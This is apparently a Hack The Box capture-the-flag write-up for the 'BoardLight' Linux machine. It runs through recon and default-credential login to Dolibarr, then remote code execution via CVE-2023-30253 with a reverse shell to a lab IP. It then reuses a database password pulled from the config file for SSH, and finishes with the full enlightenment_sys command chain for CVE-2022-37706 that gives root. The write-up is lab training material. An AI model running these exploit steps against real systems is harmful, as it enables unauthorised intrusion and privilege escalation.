BoardLight is an easy difficulty Linux machine that features a Dolibarr instance vulnerable to CVE-2023-30253. This vulnerability is leveraged to gain access as www-data. After enumerating and dumping the web configuration file contents, plaintext credentials lead to SSH access to the machine. Enumerating the system, a SUID binary related to enlightenment is identified which is vulnerable to privilege escalation via CVE-2022-37706 and can be abused to leverage a root shell.

Recon

22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH0dV4gtJNo8ixEEBDxhUId6Pc/8iNLX16+zpUCIgmxxl5TivDMLg2JvXorp4F2r8ci44CESUlnMHRSYNtlLttiIZHpTML7ktFHbNexvOAJqE1lIlQlGjWBU1hWq6Y6n1tuUANOd5U+Yc0/h53gKu5nXTQTy1c9CLbQfaYvFjnzrR3NQ6Hw7ih5u3mEjJngP+Sq+dpzUcnFe1BekvBPrxdAJwN6w+MSpGFyQSAkUthrOE4JRnpa6jSsTjXODDjioNkp2NLkKa73Yc2DHk3evNUXfa+P8oWFBk8ZXSHFyeOoNkcqkPCrkevB71NdFtn3Fd/Ar07co0ygw90Vb2q34cu1Jo/1oPV1UFsvcwaKJuxBKozH+VA0F9hyriPKjsvTRCbkFjweLxCib5phagHu6K5KEYC+VmWbCUnWyvYZauJ1/t5xQqqi9UWssRjbE1mI0Krq2Zb97qnONhzcclAPVpvEVdCCcl0rYZjQt6VI1PzHha56JepZCFCNvX3FVxYzEk=
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBK7G5PgPkbp1awVqM5uOpMJ/xVrNirmwIT21bMG/+jihUY8rOXxSbidRfC9KgvSDC4flMsPZUrWziSuBDJAra5g=
|   256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILHj/lr3X40pR3k9+uYJk4oSjdULCK0DlOxbiL66ZRWg
80/tcp open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

tech stack:

whatweb http://10.129.56.58
http://10.129.56.58 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], Email[info@board.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.56.58], JQuery[3.4.1], Script[text/javascript]

Take aways:

image.png

Webserver:

Apache/2.4.41 (Ubuntu)

Domain name: board.htb

Directory Fuzzing:

ffuf -u "http://10.129.56.58/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -mc
 all -fc 404,403 -ic -e .bak,.db,.config,.txt,.backup,.php,.html,.htm,.tar,.zip,.js,.env,.proto,.jpeg,.png,.jpg,.as
p -c

________________________________________________

                        [Status: 200, Size: 15949, Words: 6243, Lines: 518, Duration: 226ms]
index.php               [Status: 200, Size: 15949, Words: 6243, Lines: 518, Duration: 258ms]
images                  [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 237ms]
contact.php             [Status: 200, Size: 9426, Words: 3295, Lines: 295, Duration: 257ms]
about.php               [Status: 200, Size: 9100, Words: 3084, Lines: 281, Duration: 1644ms]

Nothing important was found running on port 80, we can add the domain to our host file and see if we can see any application

image.png

Still the same.

Subdomain enumeration:

❯ ffuf -u http://10.129.56.58 -H "Host: FUZZ.board.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-t
op1million-20000.txt -mc all -ac

crm                     [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 266ms]
#www                    [Status: 400, Size: 301, Words: 26, Lines: 11, Duration: 1924ms]
#mail                   [Status: 400, Size: 301, Words: 26, Lines: 11, Duration: 231ms]

We a CRM application running on crm.board.htb

image.png

The name of the application is Doliibarr with version 17.0.0

After a simple google search we can see that the default creds are admin/admin:

image.png

Now we have admin access to the application:

image.png

We can proceed to search the app name and the version number to see if we can find publicly disclosed vulnerabilities:

image.png

that’s a lot, but we can focus on the authenticated remote code execution vulnerability:CVE-2023-30253

Initial Access

Dolibarr before version 17.0.1 allows remote code execution by an authenticated user via an uppercase manipulation: <?PHP instead of <?php in injected data.

POC LINK:

https://github.com/Rubikcuv5/cve-2023-30253

first we need to activate python3 venv because of the tight requirements:

ᐅ python3 -m venv CVE-2023-30253
ᐅ source CVE-2023-30253/bin/activate
ᐅ pip install -r requirements.txt

usage:

CVE-2023-30253.py [-h] [--url URL] [-u USER] [-p PASSWORD] (-c COMMAND | -r ip port)

(venv) ~/hackthebox/machines/boardlight/cve-2023-30253 (main ✘)✹✭ ᐅ python3 CVE-2023-30253.py --url http://crm.board.htb -u admin -p admin -c "ls -l"

                                       

[+] By Rubikcuv5.
    
[*] Url: http://crm.board.htb
[*] User: admin
[*] Password: admin
[*] Command: ls -l
[*] Verifying accessibility of URL:http://crm.board.htb/admin/index.php
[*] Attempting login to http://crm.board.htb/admin/index.php as admin
[+] Login successfully!
[*] Creating web site ...
[+] Web site was create successfully!
[*] Creating web page ...
[+] Web page was create successfully!
[*] Executing command ls -l
[+] Command execution successful :
    total 228
    drwxr-xr-x 2 www-data www-data   4096 Mar  4  2023 class
    -rw-r--r-- 1 www-data www-data 201698 Mar  4  2023 index.php
    drwxr-xr-x 2 www-data www-data   4096 Mar  4  2023 lib
    drwxr-xr-x 2 www-data www-data   4096 Mar  4  2023 samples
    -rw-r--r-- 1 www-data www-data  12899 Mar  4  2023 websiteaccount_card.php

That does work when we use the exploit, lets try exploit manually:

Dolibarr before versions 17.0.1 allows remote code execution by an authenticated user via an uppercase manipulation: <?PHP instead of <?php in injected data.

First, we create a website:

image.png

Then create an empty page:

image.png

Then edit HTML source:

image.png

Then we set our POC php code:

image.png

then after saving:

image.png

It works

We can proceed to get that reverse shell

ᐅ python3 CVE-2023-30253.py --url http://crm.board.htb -u admin -p admin -r 10.10.15.1 4444

image.png

We can see that only root and larissa were the only users logged in:

image.png

Privilege Escalation

The Dolibarr configuration file is conf/conf.php. It is created by the automatic install process. This file contains the system setup. The setup of the applications you plan to use are defined into the setup area of each module, into the application itself (Menu Home - Setup - Modules).

The Dolibarr configuration file is located at /var/www/html/crm.board.htb/htdocs/conf/conf.php:

image.png

www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ cat conf.php
<?php
//
// File generated by Dolibarr installer 17.0.0 on May 13, 2024
//
// Take a look at conf.php.example file for an example of conf.php file
// and explanations for all possibles parameters.
//
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';
// Authentication settings
$dolibarr_main_authentication='dolibarr';

//$dolibarr_main_demo='autologin,autopass';
// Security settings
$dolibarr_main_prod='0';
$dolibarr_main_force_https='0';
$dolibarr_main_restrict_os_commands='mysqldump, mysql, pg_dump, pgrestore';
$dolibarr_nocsrfcheck='0';
$dolibarr_main_instance_unique_id='ef9a8f59524328e3c36894a9ff0562b5';
$dolibarr_mailing_limit_sendbyweb='0';
$dolibarr_mailing_limit_sendbycli='0';

//$dolibarr_lib_FPDF_PATH='';
//$dolibarr_lib_TCPDF_PATH='';
//$dolibarr_lib_FPDI_PATH='';
//$dolibarr_lib_TCPDI_PATH='';
//$dolibarr_lib_GEOIP_PATH='';
//$dolibarr_lib_NUSOAP_PATH='';
//$dolibarr_lib_ODTPHP_PATH='';
//$dolibarr_lib_ODTPHP_PATHTOPCLZIP='';
//$dolibarr_js_CKEDITOR='';
//$dolibarr_js_JQUERY='';
//$dolibarr_js_JQUERY_UI='';

//$dolibarr_font_DOL_DEFAULT_TTF='';
//$dolibarr_font_DOL_DEFAULT_TTF_BOLD='';
$dolibarr_main_distrib='standard';

We can get the $dolibarr_main_db_pass='serverfun2$2023!!'; and try to login with it as larissa on ssh:

image.png

root

larissa@boardlight:~$ find / -perm -4000 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/sudo
/usr/bin/su
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/vmware-user-suid-wrapper

CVE-2022-37706

larissa@boardlight:~$ mkdir -p /tmp/net
larissa@boardlight:~$ mkdir -p "/dev/../tmp/;/tmp/exploit"
larissa@boardlight:~$ echo "/bin/sh" > /tmp/exploit
larissa@boardlight:~$ chmod a+x /tmp/exploit
larissa@boardlight:~$ /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net
mount: /dev/../tmp/: can't find in /etc/fstab.
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),1000(larissa)